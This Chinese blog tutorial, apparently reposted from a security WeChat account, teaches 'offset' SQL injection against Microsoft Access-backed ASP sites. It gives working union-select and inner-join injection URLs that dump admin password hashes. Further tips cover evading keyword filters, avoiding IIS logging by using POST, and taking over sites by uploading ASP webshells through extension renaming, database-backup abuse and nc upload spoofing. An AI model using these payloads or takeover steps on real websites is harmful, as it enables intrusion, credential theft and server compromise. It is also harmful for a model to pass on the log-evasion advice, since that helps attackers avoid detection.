access数据库偏移注入详细讲解|个人经验总结

  • A+
所属分类:安全文章

    在sql注入学习过程中,大家难免遇到很多晦涩难懂的地方,就比如access偏移注入。可能大家在网上已经看到过各种教程的讲解,但是总只是一步带过,只说了这样做却没有讲为什么要这样做,使得学完后并不能举一反三。

    就我个人而言就是这样的经历,只不过多亏学习了sqlserver数据库语言,对数据库语句有些深入的认识,就立马通晓很多地方的东西。

    那么今天我就分享下,自己对于access数据库偏移注入章节的学习收获和给大家一个简单明了的过程展示。让大家马上快速了解和掌握access数据库偏移注入技巧。

    以一个例子来讲解access偏移注入:

    1.猜字段数

    http://www.xxx.com/show.asp?id=123 order by 20 页面返回正确

    http://www.xxx.com/show.asp?id=123 order by 21 页面返回错误

    2.猜表名:

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin

    返回正确,说明存在admin表,但是紧接着,爆出的数字地方,放入常用的字段始终报错,并不能猜出正确的字段,进而:

    3.猜表下的字段数:

    为了让语句正确,用*来加长字段数:

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin(页面报错)

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin(页面报错)

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)

    此时就发现了admin表下有四个字段(20-16=4)。

    4.inner join 连接查询:

    ps:inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)
    首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。

    继续,

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id)

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
    上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。

    再次使用inner join查询:

    http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

    页面返回正确,成功得到md5密码。

    access偏移注入原理:*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。

    下面再分享和补全access注入过程中的经验和方法

    经验小结:

    1.有些人会过滤select、update、delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

    2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

    3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考urlencode的相关介绍。

    4.用get方法注入时,IIS会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。

    5. 猜解access时只能用ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

    常规拿站方法:

    1.用啊D或明小子各种工具扫描检测是否有注入点。

    2.扫描access里的管理员的帐号和密码,但是密码一般都是用MD5加密过的,大家可以到MD5网站里破解。

    3.判断注入:
    ‘ 不正常
    and 1=1 正常
    and 1=2 不正常

    4.判断数据库类型

    5.猜解表名,列名

    6.检测字段长度
    order by n n的数值不停地变化,在正常和不正常之间选择正常的字段值为正确的长度

    7.扫描网站的后台地址,然后用破解出来的帐号和密码登录后台,找到文件上传的地方,利用asp上传漏洞上传asp木马,但是有不少网 站都限制了上传ASP文件的类型,一般来说ASP为后缀的文件都不允许上传。但是这种限制是可以被黑客突破的。比如:把asp扩展名修改 成asa,aaspsp,cer后进行上传asp木马。
    获得webshell如不能上传asa,aaspsp,cer文件格式,也可以利用备份功能,首先找到文件上传功能,上传一个ASP木马但是要注意:把 ASP木马的扩展名改成JPG或GIF后缀的,然后找到后台的数据库备份把要备份的文件后缀改成.asp。
    获得WEBSHELL或用采取上传一个正常的JPG图片用抓包工具抓包得到图片的上传路径和cookie,然后利用桂林老兵或明小子进行上传的欺 骗方式来上传asp木马,如上传失败就修改数据包再用nc上传获得webshell。

    以上是个人的经验总结,若发现有误或不足之处,恳请留言或邮箱批评指正!欢迎大家与我技术交流!


本文始发于微信公众号(飓风网络安全):access数据库偏移注入详细讲解|个人经验总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: